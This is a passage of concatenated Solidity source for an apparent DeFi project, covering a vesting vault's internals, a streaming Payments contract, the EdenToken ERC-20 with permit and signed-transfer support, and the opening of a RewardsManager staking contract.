require(newVestingDuration >= newCliffDuration, "Vault::extendLock: duration < cliff"); lock.vestingDurationInDays = newVestingDuration; emit LockExtended(lockId, oldVestingDuration, newVestingDuration, oldCliffDuration, newCliffDuration, lock.startTime); } /** * @notice Internal implementation of lockTokens * @param locker The account that is locking tokens * @param receiver The account that will be able to retrieve unlocked tokens * @param startTime The unix timestamp when the lock period will start * @param amount The amount of tokens being locked * @param vestingDurationInDays The vesting period in days * @param cliffDurationInDays The cliff duration in days * @param grantVotingPower if true, give user voting power from tokens */ function _lockTokens( address token, address locker, address receiver, uint48 startTime, uint256 amount, uint16 vestingDurationInDays, uint16 cliffDurationInDays, bool grantVotingPower ) internal { // Transfer the tokens under the control of the vault contract IERC20Permit(token).safeTransferFrom(locker, address(this), amount); uint48 lockStartTime = startTime == 0 ? uint48(block.timestamp) : startTime; uint256 votingPowerGranted; // Grant voting power, if specified if(grantVotingPower) { votingPowerGranted = lockManager.grantVotingPower(receiver, token, amount); } // Create lock Lock memory lock = Lock({ token: token, receiver: receiver, startTime: lockStartTime, vestingDurationInDays: vestingDurationInDays, cliffDurationInDays: cliffDurationInDays, amount: amount, amountClaimed: 0, votingPower: votingPowerGranted }); tokenLocks[numLocks] = lock; lockIds[receiver].push(numLocks); emit LockCreated(token, locker, receiver, numLocks, amount, lockStartTime, vestingDurationInDays, cliffDurationInDays, votingPowerGranted); // Increment lock id numLocks++; } /** * @notice Internal implementation of token claims * @param lockId The lock id for claim * @param claimAmount The amount to claim */ function _claimTokens(uint256 lockId, uint256 claimAmount) internal { Lock storage lock = tokenLocks[lockId]; uint256 votingPowerRemoved; // Remove voting power, if exists if (lock.votingPower > 0) { votingPowerRemoved = lockManager.removeVotingPower(lock.receiver, lock.token, claimAmount); lock.votingPower = lock.votingPower - votingPowerRemoved; } // Update claimed amount lock.amountClaimed = lock.amountClaimed + claimAmount; // Release tokens IERC20Permit(lock.token).safeTransfer(lock.receiver, claimAmount); emit UnlockedTokensClaimed(lock.receiver, lock.token, lockId, claimAmount, votingPowerRemoved); } /** * @notice Adds uint16 to uint16 safely * @param a First number * @param b Second number * @param errorMessage Error message to use if numbers cannot be added * @return uint16 number */ function _add16(uint16 a, uint16 b, string memory errorMessage) internal pure returns (uint16) { uint16 c = a + b; require(c >= a, errorMessage); return c; } }// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/IERC20Permit.sol"; import "./lib/SafeERC20.sol"; import "./lib/ReentrancyGuard.sol"; /** * @title Payments * @dev Contract for streaming token payments for set periods of time */ contract Payments is ReentrancyGuard { using SafeERC20 for IERC20; /// @notice Payment definition struct Payment { address token; address receiver; address payer; uint48 startTime; uint48 stopTime; uint16 cliffDurationInDays; uint256 paymentDurationInSecs; uint256 amount; uint256 amountClaimed; } /// @notice Payment balance definition struct PaymentBalance { uint256 id; uint256 claimableAmount; Payment payment; } /// @notice Token balance definition struct TokenBalance { uint256 totalAmount; uint256 claimableAmount; uint256 claimedAmount; } /// @dev Used to translate payment periods specified in days to seconds uint256 constant internal SECONDS_PER_DAY = 86400; /// @notice Mapping of payment id > token payments mapping (uint256 => Payment) public tokenPayments; /// @notice Mapping of address to payment id mapping (address => uint256[]) public paymentIds; /// @notice Number of payments uint256 public numPayments; /// @notice Event emitted when a new payment is created event PaymentCreated(address indexed token, address indexed payer, address indexed receiver, uint256 paymentId, uint256 amount, uint48 startTime, uint256 durationInSecs, uint16 cliffInDays); /// @notice Event emitted when tokens are claimed by a receiver from an available balance event TokensClaimed(address indexed receiver, address indexed token, uint256 indexed paymentId, uint256 amountClaimed); /// @notice Event emitted when payment stopped event PaymentStopped(uint256 indexed paymentId, uint256 indexed originalDuration, uint48 stopTime, uint48 startTime); /** * @notice Create payment, optionally providing voting power * @param payer The account that is paymenting tokens * @param receiver The account that will be able to retrieve available tokens * @param startTime The unix timestamp when the payment period will start * @param amount The amount of tokens being paid * @param paymentDurationInSecs The payment period in seconds * @param cliffDurationInDays The cliff duration in days */ function createPayment( address token, address payer, address receiver, uint48 startTime, uint256 amount, uint256 paymentDurationInSecs, uint16 cliffDurationInDays ) external { require(paymentDurationInSecs > 0, "Payments::createPayment: payment duration must be > 0"); require(paymentDurationInSecs <= 25*365*SECONDS_PER_DAY, "Payments::createPayment: payment duration more than 25 years"); require(paymentDurationInSecs >= SECONDS_PER_DAY*cliffDurationInDays, "Payments::createPayment: payment duration < cliff"); require(amount > 0, "Payments::createPayment: amount not > 0"); _createPayment(token, payer, receiver, startTime, amount, paymentDurationInSecs, cliffDurationInDays); } /** * @notice Create payment, using permit for approval * @dev It is up to the frontend developer to ensure the token implements permit - otherwise this will fail * @param token Address of token to payment * @param payer The account that is paymenting tokens * @param receiver The account that will be able to retrieve available tokens * @param startTime The unix timestamp when the payment period will start * @param amount The amount of tokens being paid * @param paymentDurationInSecs The payment period in seconds * @param cliffDurationInDays The payment cliff duration in days * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function createPaymentWithPermit( address token, address payer, address receiver, uint48 startTime, uint256 amount, uint256 paymentDurationInSecs, uint16 cliffDurationInDays, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { require(paymentDurationInSecs > 0, "Payments::createPaymentWithPermit: payment duration must be > 0"); require(paymentDurationInSecs <= 25*365*SECONDS_PER_DAY, "Payments::createPaymentWithPermit: payment duration more than 25 years"); require(paymentDurationInSecs >= SECONDS_PER_DAY*cliffDurationInDays, "Payments::createPaymentWithPermit: duration < cliff"); require(amount > 0, "Payments::createPaymentWithPermit: amount not > 0"); // Set approval using permit signature IERC20Permit(token).permit(payer, address(this), amount, deadline, v, r, s); _createPayment(token, payer, receiver, startTime, amount, paymentDurationInSecs, cliffDurationInDays); } /** * @notice Get all active token payment ids * @return the payment ids */ function allActivePaymentIds() external view returns(uint256[] memory){ uint256 activeCount; // Get number of active payments for (uint256 i; i < numPayments; i++) { if(claimableBalance(i) > 0) { activeCount++; } } // Create result array of length `activeCount` uint256[] memory result = new uint256[](activeCount); uint256 j; // Populate result array for (uint256 i; i < numPayments; i++) { if(claimableBalance(i) > 0) { result[j] = i; j++; } } return result; } /** * @notice Get all active token payments * @return the payments */ function allActivePayments() external view returns(Payment[] memory){ uint256 activeCount; // Get number of active payments for (uint256 i; i < numPayments; i++) { if(claimableBalance(i) > 0) { activeCount++; } } // Create result array of length `activeCount` Payment[] memory result = new Payment[](activeCount); uint256 j; // Populate result array for (uint256 i; i < numPayments; i++) { if(claimableBalance(i) > 0) { result[j] = tokenPayments[i]; j++; } } return result; } /** * @notice Get all active token payment balances * @return the active payment balances */ function allActivePaymentBalances() external view returns(PaymentBalance[] memory){ uint256 activeCount; // Get number of active payments for (uint256 i; i < numPayments; i++) { if(claimableBalance(i) > 0) { activeCount++; } } // Create result array of length `activeCount` PaymentBalance[] memory result = new PaymentBalance[](activeCount); uint256 j; // Populate result array for (uint256 i; i < numPayments; i++) { if(claimableBalance(i) > 0) { result[j] = paymentBalance(i); j++; } } return result; } /** * @notice Get all active token payment ids for receiver * @param receiver The address that has paid balances * @return the active payment ids */ function activePaymentIds(address receiver) external view returns(uint256[] memory){ uint256 activeCount; uint256[] memory receiverPaymentIds = paymentIds[receiver]; // Get number of active payments for (uint256 i; i < receiverPaymentIds.length; i++) { if(claimableBalance(receiverPaymentIds[i]) > 0) { activeCount++; } } // Create result array of length `activeCount` uint256[] memory result = new uint256[](activeCount); uint256 j; // Populate result array for (uint256 i; i < receiverPaymentIds.length; i++) { if(claimableBalance(receiverPaymentIds[i]) > 0) { result[j] = receiverPaymentIds[i]; j++; } } return result; } /** * @notice Get all token payments for receiver * @param receiver The address that has paid balances * @return the payments */ function allPayments(address receiver) external view returns(Payment[] memory){ uint256[] memory allPaymentIds = paymentIds[receiver]; Payment[] memory result = new Payment[](allPaymentIds.length); for (uint256 i; i < allPaymentIds.length; i++) { result[i] = tokenPayments[allPaymentIds[i]]; } return result; } /** * @notice Get all active token payments for receiver * @param receiver The address that has paid balances * @return the payments */ function activePayments(address receiver) external view returns(Payment[] memory){ uint256 activeCount; uint256[] memory receiverPaymentIds = paymentIds[receiver]; // Get number of active payments for (uint256 i; i < receiverPaymentIds.length; i++) { if(claimableBalance(receiverPaymentIds[i]) > 0) { activeCount++; } } // Create result array of length `activeCount` Payment[] memory result = new Payment[](activeCount); uint256 j; // Populate result array for (uint256 i; i < receiverPaymentIds.length; i++) { if(claimableBalance(receiverPaymentIds[i]) > 0) { result[j] = tokenPayments[receiverPaymentIds[i]]; j++; } } return result; } /** * @notice Get all active token payment balances for receiver * @param receiver The address that has paid balances * @return the active payment balances */ function activePaymentBalances(address receiver) external view returns(PaymentBalance[] memory){ uint256 activeCount; uint256[] memory receiverPaymentIds = paymentIds[receiver]; // Get number of active payments for (uint256 i; i < receiverPaymentIds.length; i++) { if(claimableBalance(receiverPaymentIds[i]) > 0) { activeCount++; } } // Create result array of length `activeCount` PaymentBalance[] memory result = new PaymentBalance[](activeCount); uint256 j; // Populate result array for (uint256 i; i < receiverPaymentIds.length; i++) { if(claimableBalance(receiverPaymentIds[i]) > 0) { result[j] = paymentBalance(receiverPaymentIds[i]); j++; } } return result; } /** * @notice Get total token balance * @param token The token to check * @return balance the total active balance of `token` */ function totalTokenBalance(address token) external view returns(TokenBalance memory balance){ for (uint256 i; i < numPayments; i++) { Payment memory tokenPayment = tokenPayments[i]; if(tokenPayment.token == token && tokenPayment.startTime != tokenPayment.stopTime){ balance.totalAmount = balance.totalAmount + tokenPayment.amount; if(block.timestamp > tokenPayment.startTime) { balance.claimedAmount = balance.claimedAmount + tokenPayment.amountClaimed; uint256 elapsedTime = tokenPayment.stopTime > 0 && tokenPayment.stopTime < block.timestamp ? tokenPayment.stopTime - tokenPayment.startTime : block.timestamp - tokenPayment.startTime; uint256 elapsedDays = elapsedTime / SECONDS_PER_DAY; if ( elapsedDays >= tokenPayment.cliffDurationInDays ) { if (tokenPayment.stopTime == 0 && elapsedTime >= tokenPayment.paymentDurationInSecs) { balance.claimableAmount = balance.claimableAmount + tokenPayment.amount - tokenPayment.amountClaimed; } else { uint256 paymentAmountPerSec = tokenPayment.amount / tokenPayment.paymentDurationInSecs; uint256 amountAvailable = paymentAmountPerSec * elapsedTime; balance.claimableAmount = balance.claimableAmount + amountAvailable - tokenPayment.amountClaimed; } } } } } } /** * @notice Get token balance of receiver * @param token The token to check * @param receiver The address that has available balances * @return balance the total active balance of `token` for `receiver` */ function tokenBalance(address token, address receiver) external view returns(TokenBalance memory balance){ uint256[] memory receiverPaymentIds = paymentIds[receiver]; for (uint256 i; i < receiverPaymentIds.length; i++) { Payment memory receiverPayment = tokenPayments[receiverPaymentIds[i]]; if(receiverPayment.token == token && receiverPayment.startTime != receiverPayment.stopTime){ balance.totalAmount = balance.totalAmount + receiverPayment.amount; if(block.timestamp > receiverPayment.startTime) { balance.claimedAmount = balance.claimedAmount + receiverPayment.amountClaimed; uint256 elapsedTime = receiverPayment.stopTime > 0 && receiverPayment.stopTime < block.timestamp ? receiverPayment.stopTime - receiverPayment.startTime : block.timestamp - receiverPayment.startTime; uint256 elapsedDays = elapsedTime / SECONDS_PER_DAY; if ( elapsedDays >= receiverPayment.cliffDurationInDays ) { if (receiverPayment.stopTime == 0 && elapsedTime >= receiverPayment.paymentDurationInSecs) { balance.claimableAmount = balance.claimableAmount + receiverPayment.amount - receiverPayment.amountClaimed; } else { uint256 paymentAmountPerSec = receiverPayment.amount / receiverPayment.paymentDurationInSecs; uint256 amountAvailable = paymentAmountPerSec * elapsedTime; balance.claimableAmount = balance.claimableAmount + amountAvailable - receiverPayment.amountClaimed; } } } } } } /** * @notice Get payment balance for a given payment id * @param paymentId The payment ID * @return balance the payment balance */ function paymentBalance(uint256 paymentId) public view returns (PaymentBalance memory balance) { balance.id = paymentId; balance.claimableAmount = claimableBalance(paymentId); balance.payment = tokenPayments[paymentId]; } /** * @notice Get claimable balance for a given payment id * @dev Returns 0 if cliff duration has not ended * @param paymentId The payment ID * @return The amount that can be claimed */ function claimableBalance(uint256 paymentId) public view returns (uint256) { Payment storage payment = tokenPayments[paymentId]; // For payments created with a future start date or payments stopped before starting, that hasn't been reached, return 0 if (block.timestamp < payment.startTime || payment.startTime == payment.stopTime) { return 0; } uint256 elapsedTime = payment.stopTime > 0 && payment.stopTime < block.timestamp ? payment.stopTime - payment.startTime : block.timestamp - payment.startTime; uint256 elapsedDays = elapsedTime / SECONDS_PER_DAY; if (elapsedDays < payment.cliffDurationInDays) { return 0; } if (payment.stopTime == 0 && elapsedTime >= payment.paymentDurationInSecs) { return payment.amount - payment.amountClaimed; } uint256 paymentAmountPerSec = payment.amount / payment.paymentDurationInSecs; uint256 amountAvailable = paymentAmountPerSec * elapsedTime; return amountAvailable - payment.amountClaimed; } /** * @notice Allows receiver to claim all of their available tokens for a set of payments * @dev Errors if no tokens are claimable * @dev It is advised receivers check they are entitled to claim via `claimableBalance` before calling this * @param payments The payment ids for available token balances */ function claimAllAvailableTokens(uint256[] memory payments) external nonReentrant { for (uint i = 0; i < payments.length; i++) { uint256 claimableAmount = claimableBalance(payments[i]); require(claimableAmount > 0, "Payments::claimAllAvailableTokens: claimableAmount is 0"); _claimTokens(payments[i], claimableAmount); } } /** * @notice Allows receiver to claim a portion of their available tokens for a given payment * @dev Errors if token amounts provided are > claimable amounts * @dev It is advised receivers check they are entitled to claim via `claimableBalance` before calling this * @param payments The payment ids for available token balances * @param amounts The amount of each available token to claim */ function claimAvailableTokenAmounts(uint256[] memory payments, uint256[] memory amounts) external nonReentrant { require(payments.length == amounts.length, "Payments::claimAvailableTokenAmounts: arrays must be same length"); for (uint i = 0; i < payments.length; i++) { uint256 claimableAmount = claimableBalance(payments[i]); require(claimableAmount >= amounts[i], "Payments::claimAvailableTokenAmounts: claimableAmount < amount"); _claimTokens(payments[i], amounts[i]); } } /** * @notice Allows payer or receiver to stop existing payments for a given paymentId * @param paymentId The payment id for a payment * @param stopTime Timestamp to stop payment, if 0 use current block.timestamp */ function stopPayment(uint256 paymentId, uint48 stopTime) external nonReentrant { Payment storage payment = tokenPayments[paymentId]; require(msg.sender == payment.payer || msg.sender == payment.receiver, "Payments::stopPayment: msg.sender must be payer or receiver"); require(payment.stopTime == 0, "Payments::stopPayment: payment already stopped"); stopTime = stopTime == 0 ? uint48(block.timestamp) : stopTime; require(stopTime < payment.startTime + payment.paymentDurationInSecs, "Payments::stopPayment: stop time > payment duration"); if(stopTime > payment.startTime) { payment.stopTime = stopTime; uint256 newPaymentDuration = stopTime - payment.startTime; uint256 paymentAmountPerSec = payment.amount / payment.paymentDurationInSecs; uint256 newPaymentAmount = paymentAmountPerSec * newPaymentDuration; IERC20(payment.token).safeTransfer(payment.payer, payment.amount - newPaymentAmount); emit PaymentStopped(paymentId, payment.paymentDurationInSecs, stopTime, payment.startTime); } else { payment.stopTime = payment.startTime; IERC20(payment.token).safeTransfer(payment.payer, payment.amount); emit PaymentStopped(paymentId, payment.paymentDurationInSecs, payment.startTime, payment.startTime); } } /** * @notice Internal implementation of createPayment * @param payer The account that is paymenting tokens * @param receiver The account that will be able to retrieve available tokens * @param startTime The unix timestamp when the payment period will start * @param amount The amount of tokens being paid * @param paymentDurationInSecs The payment period in seconds * @param cliffDurationInDays The cliff duration in days */ function _createPayment( address token, address payer, address receiver, uint48 startTime, uint256 amount, uint256 paymentDurationInSecs, uint16 cliffDurationInDays ) internal { // Transfer the tokens under the control of the payment contract IERC20(token).safeTransferFrom(payer, address(this), amount); uint48 paymentStartTime = startTime == 0 ? uint48(block.timestamp) : startTime; // Create payment Payment memory payment = Payment({ token: token, receiver: receiver, payer: payer, startTime: paymentStartTime, stopTime: 0, paymentDurationInSecs: paymentDurationInSecs, cliffDurationInDays: cliffDurationInDays, amount: amount, amountClaimed: 0 }); tokenPayments[numPayments] = payment; paymentIds[receiver].push(numPayments); emit PaymentCreated(token, payer, receiver, numPayments, amount, paymentStartTime, paymentDurationInSecs, cliffDurationInDays); // Increment payment id numPayments++; } /** * @notice Internal implementation of token claims * @param paymentId The payment id for claim * @param claimAmount The amount to claim */ function _claimTokens(uint256 paymentId, uint256 claimAmount) internal { Payment storage payment = tokenPayments[paymentId]; // Update claimed amount payment.amountClaimed = payment.amountClaimed + claimAmount; // Release tokens IERC20(payment.token).safeTransfer(payment.receiver, claimAmount); emit TokensClaimed(payment.receiver, payment.token, paymentId, claimAmount); } }// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/IEdenToken.sol"; import "./lib/AccessControl.sol"; /** * @title EdenToken * @dev ERC-20 with minting + add-ons to allow for offchain signing * See EIP-712, EIP-2612, and EIP-3009 for details */ contract EdenToken is AccessControl, IEdenToken { /// @notice EIP-20 token name for this token string public override name = "Eden"; /// @notice EIP-20 token symbol for this token string public override symbol = "EDEN"; /// @notice EIP-20 token decimals for this token uint8 public override constant decimals = 18; /// @notice Total number of tokens in circulation uint256 public override totalSupply; /// @notice Max total supply uint256 public constant override maxSupply = 250_000_000e18; // 250 million /// @notice Minter role bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); /// @notice Address which may change token metadata address public override metadataManager; /// @dev Allowance amounts on behalf of others mapping (address => mapping (address => uint256)) public override allowance; /// @dev Official record of token balanceOf for each account mapping (address => uint256) public override balanceOf; /// @notice The EIP-712 typehash for the contract's domain /// keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)") bytes32 public constant override DOMAIN_TYPEHASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f; /// @notice The EIP-712 version hash /// keccak256("1"); bytes32 public constant override VERSION_HASH = 0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6; /// @notice The EIP-712 typehash for permit (EIP-2612) /// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant override PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; /// @notice The EIP-712 typehash for transferWithAuthorization (EIP-3009) /// keccak256("TransferWithAuthorization(address from,address to,uint256 value,uint256 validAfter,uint256 validBefore,bytes32 nonce)"); bytes32 public constant override TRANSFER_WITH_AUTHORIZATION_TYPEHASH = 0x7c7c6cdb67a18743f49ec6fa9b35f50d52ed05cbed4cc592e13b44501c1a2267; /// @notice The EIP-712 typehash for receiveWithAuthorization (EIP-3009) /// keccak256("ReceiveWithAuthorization(address from,address to,uint256 value,uint256 validAfter,uint256 validBefore,bytes32 nonce)") bytes32 public constant override RECEIVE_WITH_AUTHORIZATION_TYPEHASH = 0xd099cc98ef71107a616c4f0f941f04c322d8e254fe26b3c6668db87aae413de8; /// @notice A record of states for signing / validating signatures mapping (address => uint) public override nonces; /// @dev authorizer address > nonce > state (true = used / false = unused) mapping (address => mapping (bytes32 => bool)) public authorizationState; /** * @notice Construct a new Eden token * @param _admin Default admin role */ constructor(address _admin) { metadataManager = _admin; emit MetadataManagerChanged(address(0), metadataManager); _setupRole(DEFAULT_ADMIN_ROLE, _admin); } /** * @notice Change the metadataManager address * @param newMetadataManager The address of the new metadata manager * @return true if successful */ function setMetadataManager(address newMetadataManager) external override returns (bool) { require(msg.sender == metadataManager, "Eden::setMetadataManager: only MM can change MM"); emit MetadataManagerChanged(metadataManager, newMetadataManager); metadataManager = newMetadataManager; return true; } /** * @notice Mint new tokens * @param dst The address of the destination account * @param amount The number of tokens to be minted * @return Boolean indicating success of mint */ function mint(address dst, uint256 amount) external override returns (bool) { require(hasRole(MINTER_ROLE, msg.sender), "Eden::mint: only minters can mint"); require(totalSupply + amount <= maxSupply, "Eden::mint: exceeds max supply"); require(dst != address(0), "Eden::mint: cannot transfer to the zero address"); totalSupply = totalSupply + amount; balanceOf[dst] = balanceOf[dst] + amount; emit Transfer(address(0), dst, amount); return true; } /** * @notice Burn tokens * @param amount The number of tokens to burn * @return Boolean indicating success of burn */ function burn(uint256 amount) external override returns (bool) { balanceOf[msg.sender] = balanceOf[msg.sender] - amount; totalSupply = totalSupply - amount; emit Transfer(msg.sender, address(0), amount); return true; } /** * @notice Update the token name and symbol * @param tokenName The new name for the token * @param tokenSymbol The new symbol for the token * @return true if successful */ function updateTokenMetadata(string memory tokenName, string memory tokenSymbol) external override returns (bool) { require(msg.sender == metadataManager, "Eden::updateTokenMeta: only MM can update token metadata"); name = tokenName; symbol = tokenSymbol; emit TokenMetaUpdated(name, symbol); return true; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * It is recommended to use increaseAllowance and decreaseAllowance instead * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @notice Increase the allowance by a given amount * @param spender Spender's address * @param addedValue Amount of increase in allowance * @return True if successful */ function increaseAllowance(address spender, uint256 addedValue) external override returns (bool) { _approve( msg.sender, spender, allowance[msg.sender][spender] + addedValue ); return true; } /** * @notice Decrease the allowance by a given amount * @param spender Spender's address * @param subtractedValue Amount of decrease in allowance * @return True if successful */ function decreaseAllowance(address spender, uint256 subtractedValue) external override returns (bool) { _approve( msg.sender, spender, allowance[msg.sender][spender] - subtractedValue ); return true; } /** * @notice Triggers an approval from owner to spender * @param owner The address to approve from * @param spender The address to be approved * @param value The number of tokens that are approved (2^256-1 means infinite) * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external override { require(deadline >= block.timestamp, "Eden::permit: signature expired"); bytes32 encodeData = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)); _validateSignedData(owner, encodeData, v, r, s); _approve(owner, spender, value); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external override returns (bool) { _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external override returns (bool) { address spender = msg.sender; uint256 spenderAllowance = allowance[src][spender]; if (spender != src && spenderAllowance != type(uint256).max) { uint256 newAllowance = spenderAllowance - amount; allowance[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Transfer tokens with a signed authorization * @param from Payer's address (Authorizer) * @param to Payee's address * @param value Amount to be transferred * @param validAfter The time after which this is valid (unix time) * @param validBefore The time before which this is valid (unix time) * @param nonce Unique nonce * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function transferWithAuthorization( address from, address to, uint256 value, uint256 validAfter, uint256 validBefore, bytes32 nonce, uint8 v, bytes32 r, bytes32 s ) external override { require(block.timestamp > validAfter, "Eden::transferWithAuth: auth not yet valid"); require(block.timestamp < validBefore, "Eden::transferWithAuth: auth expired"); require(!authorizationState[from][nonce], "Eden::transferWithAuth: auth already used"); bytes32 encodeData = keccak256(abi.encode(TRANSFER_WITH_AUTHORIZATION_TYPEHASH, from, to, value, validAfter, validBefore, nonce)); _validateSignedData(from, encodeData, v, r, s); authorizationState[from][nonce] = true; emit AuthorizationUsed(from, nonce); _transferTokens(from, to, value); } /** * @notice Receive a transfer with a signed authorization from the payer * @dev This has an additional check to ensure that the payee's address matches * the caller of this function to prevent front-running attacks. * @param from Payer's address (Authorizer) * @param to Payee's address * @param value Amount to be transferred * @param validAfter The time after which this is valid (unix time) * @param validBefore The time before which this is valid (unix time) * @param nonce Unique nonce * @param v v of the signature * @param r r of the signature * @param s s of the signature */ function receiveWithAuthorization( address from, address to, uint256 value, uint256 validAfter, uint256 validBefore, bytes32 nonce, uint8 v, bytes32 r, bytes32 s ) external override { require(to == msg.sender, "Eden::receiveWithAuth: caller must be the payee"); require(block.timestamp > validAfter, "Eden::receiveWithAuth: auth not yet valid"); require(block.timestamp < validBefore, "Eden::receiveWithAuth: auth expired"); require(!authorizationState[from][nonce], "Eden::receiveWithAuth: auth already used"); bytes32 encodeData = keccak256(abi.encode(RECEIVE_WITH_AUTHORIZATION_TYPEHASH, from, to, value, validAfter, validBefore, nonce)); _validateSignedData(from, encodeData, v, r, s); authorizationState[from][nonce] = true; emit AuthorizationUsed(from, nonce); _transferTokens(from, to, value); } /** * @notice EIP-712 Domain separator * @return Separator */ function getDomainSeparator() public view override returns (bytes32) { return keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name)), VERSION_HASH, block.chainid, address(this) ) ); } /** * @notice Recovers address from signed data and validates the signature * @param signer Address that signed the data * @param encodeData Data signed by the address * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function _validateSignedData(address signer, bytes32 encodeData, uint8 v, bytes32 r, bytes32 s) internal view { bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", getDomainSeparator(), encodeData ) ); address recoveredAddress = ecrecover(digest, v, r, s); // Explicitly disallow authorizations for address(0) as ecrecover returns address(0) on malformed messages require(recoveredAddress != address(0) && recoveredAddress == signer, "Eden::validateSig: invalid signature"); } /** * @notice Approval implementation * @param owner The address of the account which owns tokens * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (2^256-1 means infinite) */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "Eden::_approve: approve from the zero address"); require(spender != address(0), "Eden::_approve: approve to the zero address"); allowance[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @notice Transfer implementation * @param from The address of the account which owns tokens * @param to The address of the account which is receiving tokens * @param value The number of tokens that are being transferred */ function _transferTokens(address from, address to, uint256 value) internal { require(to != address(0), "Eden::_transferTokens: cannot transfer to the zero address"); balanceOf[from] = balanceOf[from] - value; balanceOf[to] = balanceOf[to] + value; emit Transfer(from, to, value); } }// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/IMasterChef.sol"; import "./interfaces/IVault.sol"; import "./interfaces/ILockManager.sol"; import "./interfaces/IERC20Extended.sol"; import "./lib/SafeERC20.sol"; import "./lib/ReentrancyGuard.sol"; /** * @title RewardsManager * @dev Controls rewards distribution for network */ contract RewardsManager is ReentrancyGuard { using SafeERC20 for IERC20Extended; /// @notice Current owner of this contract address public owner; /// @notice Info of each user. struct UserInfo { uint256 amount; // How many tokens the user has provided. uint256 rewardTokenDebt; // Reward debt for reward token. See explanation below. uint256 sushiRewardDebt; // Reward debt for Sushi rewards. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of reward tokens // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accRewardsPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws tokens to a pool. Here's what happens: // 1. The pool's `accRewardsPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } /// @notice Info of each pool. struct PoolInfo { IERC20Extended token; // Address of token contract. uint256 allocPoint; // How many allocation points assigned to this pool. Reward tokens to distribute per block. uint256 lastRewardBlock; // Last block number where reward tokens were distributed. uint256 accRewardsPerShare; // Accumulated reward tokens per share, times 1e12. See below. uint32 vestingPercent; // Percentage of rewards that vest (measured in bips: 500,000 bips = 50% of rewards) uint16 vestingPeriod; // Vesting period in days for vesting rewards uint16 vestingCliff; // Vesting cliff in days for vesting rewards uint256 totalStaked; // Total amount of token staked via Rewards Manager bool vpForDeposit; // Do users get voting power for deposits of this token? bool vpForVesting; // Do users get voting power for vesting balances? } /// @notice Reward token IERC20Extended public rewardToken; /// @notice SUSHI token IERC20Extended public sushiToken; /// @notice Sushi Master Chef IMasterChef public masterChef; /// @notice Vault for vesting tokens IVault public vault; /// @notice LockManager contract ILockManager public lockManager; /// @notice Reward tokens rewarded per block. uint256 public rewardTokensPerBlock; /// @notice Info of each pool. PoolInfo[] public poolInfo; /// @notice Mapping of Sushi tokens to MasterChef pids mapping (address => uint256) public sushiPools; /// @notice Info of each user that stakes tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; /// @notice Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint; /// @notice The block number when rewards start. uint256 public startBlock; /// @notice only owner can call function modifier onlyOwner { require(msg.sender == owner, "not owner"); _; } /// @notice Event emitted when a user deposits funds in the rewards manager event Deposit(address indexed user, uint256 indexed pid, uint256 amount); /// @notice Event emitted when a user withdraws their original funds + rewards from the rewards manager event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); /// @notice Event emitted when a user withdraws their original funds from the rewards manager without claiming rewards event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); /// @notice Event emitted when new pool is added to the rewards manager event PoolAdded(uint256 indexed pid, address indexed token, uint256 allocPoints, uint256 totalAllocPoints, uint256 rewardStartBlock, uint256 sushiPid, bool vpForDeposit, bool vpForVesting); /// @notice Event emitted when pool allocation points are updated event PoolUpdated(uint256 indexed pid, uint256 oldAllocPoints, uint256 newAllocPoints, uint256 newTotalAllocPoints); /// @notice Event emitted when the owner of the rewards manager contract is updated event ChangedOwner(address indexed oldOwner, address indexed newOwner); /// @notice Event emitted when the amount of reward tokens per block is updated event ChangedRewardTokensPerBlock(uint256 indexed oldRewardTokensPerBlock, uint256 indexed 